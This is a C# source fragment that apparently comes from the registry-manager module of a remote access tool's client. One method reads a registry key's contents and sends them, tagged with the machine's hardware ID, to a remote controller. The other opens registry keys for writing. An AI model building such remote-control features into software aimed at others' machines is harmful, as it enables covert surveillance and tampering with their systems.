public void LoadKey(string RootKeyName) { try { RegistrySeeker seeker = new RegistrySeeker(); seeker.BeginSeeking(RootKeyName); //BinaryFormatter formatter = new BinaryFormatter(); //MemoryStream mStream = new MemoryStream(); //formatter.Serialize(mStream, seeker.Matches); //mStream.Flush(); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Pac_ket").AsString = "regManager"; msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack.ForcePathObject("Command").AsString = "LoadKey"; msgpack.ForcePathObject("RootKey").AsString = RootKeyName; msgpack.ForcePathObject("Matches").SetAsBytes(Serialize(seeker.Matches)); Connection.Send(msgpack.Encode2Bytes()); } catch (Exception ex) { Packet.Error(ex.Message); } }
public static RegistryKey GetWritableRegistryKey(string keyPath) { RegistryKey key = RegistrySeeker.GetRootKey(keyPath); if (key != null) { //Check if this is a root key or not if (key.Name != keyPath) { //Must get the subKey name by removing root and '\\' string subKeyName = keyPath.Substring(key.Name.Length + 1); key = key.OpenWritableSubKeySafe(subKeyName); } } return(key); }